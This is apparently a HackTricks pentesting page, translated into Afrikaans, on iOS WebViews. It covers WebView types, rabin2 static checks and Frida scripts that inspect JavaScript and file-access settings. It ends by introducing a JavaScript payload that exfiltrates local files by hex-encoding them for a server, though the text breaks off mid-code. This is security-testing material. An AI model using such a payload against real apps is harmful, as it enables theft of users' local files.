# iOS WebViews
{% hint style="success" %}
Leer & oefen AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Die kode van hierdie bladsy is onttrek van [hier](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Kyk na die bladsy vir verdere besonderhede.
## WebViews tipes
WebViews word binne toepassings gebruik om webinhoud interaktief te vertoon. Verskeie tipes WebViews bied verskillende funksionaliteite en sekuriteitskenmerke vir iOS-toepassings. Hier is 'n kort oorsig:
- **UIWebView**, wat nie meer aanbeveel word vanaf iOS 12 nie weens die gebrek aan ondersteuning om **JavaScript** te deaktiveer, wat dit vatbaar maak vir skripinplanting en **Cross-Site Scripting (XSS)** aanvalle.
- **WKWebView** is die verkieslike opsie om webinhoud in toepassings in te sluit, wat verbeterde beheer oor die inhoud en sekuriteitskenmerke bied. **JavaScript** is standaard geaktiveer, maar dit kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript vensters outomaties oopmaak en verseker dat alle inhoud veilig gelaai word. Boonop minimaliseer **WKWebView**'s argitektuur die risiko van geheuebesoedeling wat die hooftoepassing proses beïnvloed.
- **SFSafariViewController** bied 'n gestandaardiseerde webblaaierervaring binne toepassings, herkenbaar aan sy spesifieke uitleg wat 'n lees-slegs adresveld, deel- en navigasieknope, en 'n direkte skakel om inhoud in Safari te open insluit. Anders as **WKWebView**, kan **JavaScript** nie in **SFSafariViewController** gedeaktiveer word nie, wat ook koekies en data met Safari deel, terwyl dit gebruikersprivaatheid van die toepassing handhaaf. Dit moet prominent vertoon word volgens App Store riglyne.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## WebViews Konfigurasie Verkenning Samevatting
### **Statiese Analise Oorsig**
In die proses om **WebViews** konfigurasies te ondersoek, word twee primêre tipes gefokus: **UIWebView** en **WKWebView**. Om hierdie WebViews binne 'n binêre te identifiseer, word opdragte gebruik om spesifieke klasverwysings en inisialisasiemetodes te soek.
- **UIWebView Identifikasie**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Hierdie opdrag help om voorbeelde van **UIWebView** te vind deur te soek na teksstringe wat daarmee verband hou in die binêre.
- **WKWebView Identifikasie**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Net so, vir **WKWebView**, soek hierdie opdrag die binêre vir teksstringe wat aandui dat dit gebruik word.
Verder, om te vind hoe 'n **WKWebView** geïnitialiseer word, word die volgende opdrag uitgevoer, wat teiken die metode-handtekening wat verband hou met sy inisialisering:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **JavaScript Konfigurasie Verifikasie**
Vir **WKWebView** word dit beklemtoon dat dit 'n beste praktyk is om JavaScript te deaktiveer tensy dit benodig word. Die gecompileerde binêre word gesoek om te bevestig dat die `javaScriptEnabled` eienskap op `false` gestel is, wat verseker dat JavaScript gedeaktiveer is:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Slegs Veilige Inhoud Verifikasie**
**WKWebView** bied die vermoë om gemengde inhoud probleme te identifiseer, in teenstelling met **UIWebView**. Dit word nagegaan met die `hasOnlySecureContent` eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die gecompileerde binêre word soos volg uitgevoer:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Dinamiese Analise Inligting**
Dinamiese analise behels die inspeksie van die heap vir WebView instansies en hul eienskappe. 'n Skrip genaamd `webviews_inspector.js` word vir hierdie doel gebruik, wat fokus op `UIWebView`, `WKWebView`, en `SFSafariViewController` instansies. Dit log inligting oor gevonde instansies, insluitend URL's en instellings rakende JavaScript en veilige inhoud.
Heap-inspeksie kan uitgevoer word met behulp van `ObjC.choose()` om WebView instansies te identifiseer en `javaScriptEnabled` en `hasonlysecurecontent` eienskappe te kontroleer.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
Die skrif word uitgevoer met:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Belangrike Uitslae**:
- Instansies van WebViews word suksesvol geleë en ondersoek.
- JavaScript-aktivering en veilige inhoudinstellings word geverifieer.
Hierdie opsomming sluit die kritieke stappe en opdragte in wat betrokke is by die analise van WebView-konfigurasies deur middel van statiese en dinamiese benaderings, met fokus op sekuriteitskenmerke soos JavaScript-aktivering en gemengde inhoudsdeteksie.
## WebView Protokol Hantering
Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer daar met verskillende protokolle soos `http(s)://`, `file://`, en `tel://` gewerk word. Hierdie protokolle stel die laai van sowel afstands- as plaaslike inhoud binne toepassings in staat. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls getref moet word om te voorkom dat gebruikers die lêernaam of -pad beïnvloed en die inhoud self redigeer.
**WebViews** bied verskillende metodes vir inhoudlaai. Vir **UIWebView**, wat nou verouderd is, word metodes soos `loadHTMLString:baseURL:` en `loadData:MIMEType:textEncodingName:baseURL:` gebruik. **WKWebView**, aan die ander kant, gebruik `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, en `loadRequest:` vir webinhoud. Metodes soos `pathForResource:ofType:`, `URLForResource:withExtension:`, en `init(contentsOf:encoding:)` word tipies gebruik om plaaslike lêers te laai. Die metode `loadFileURL:allowingReadAccessToURL:` is veral noemenswaardig vir sy vermoë om 'n spesifieke URL of gids in die WebView te laai, wat potensieel sensitiewe data kan blootstel as 'n gids gespesifiseer word.
Om hierdie metodes in die bronnekode of gecompileerde binêre te vind, kan opdragte soos die volgende gebruik word:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Betreffende **lêertoegang** laat UIWebView dit universeel toe, terwyl WKWebView `allowFileAccessFromFileURLs` en `allowUniversalAccessFromFileURLs` instellings bekendstel om toegang vanaf lêer-URL's te bestuur, met albei wat standaard op vals is.
'n Frida-skripvoorbeeld word verskaf om **WKWebView** konfigurasies vir sekuriteitsinstellings te inspekteer:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Laastens demonstreer 'n voorbeeld van 'n JavaScript payload wat daarop gemik is om plaaslike lêers te exfiltreer, die potensiële sekuriteitsrisiko wat verband hou met onvanpaste geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na 'n bediener oorgedra word, wat die belangrikheid van streng sekuriteitsmaatreëls in WebView-implementasies beklemtoon.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i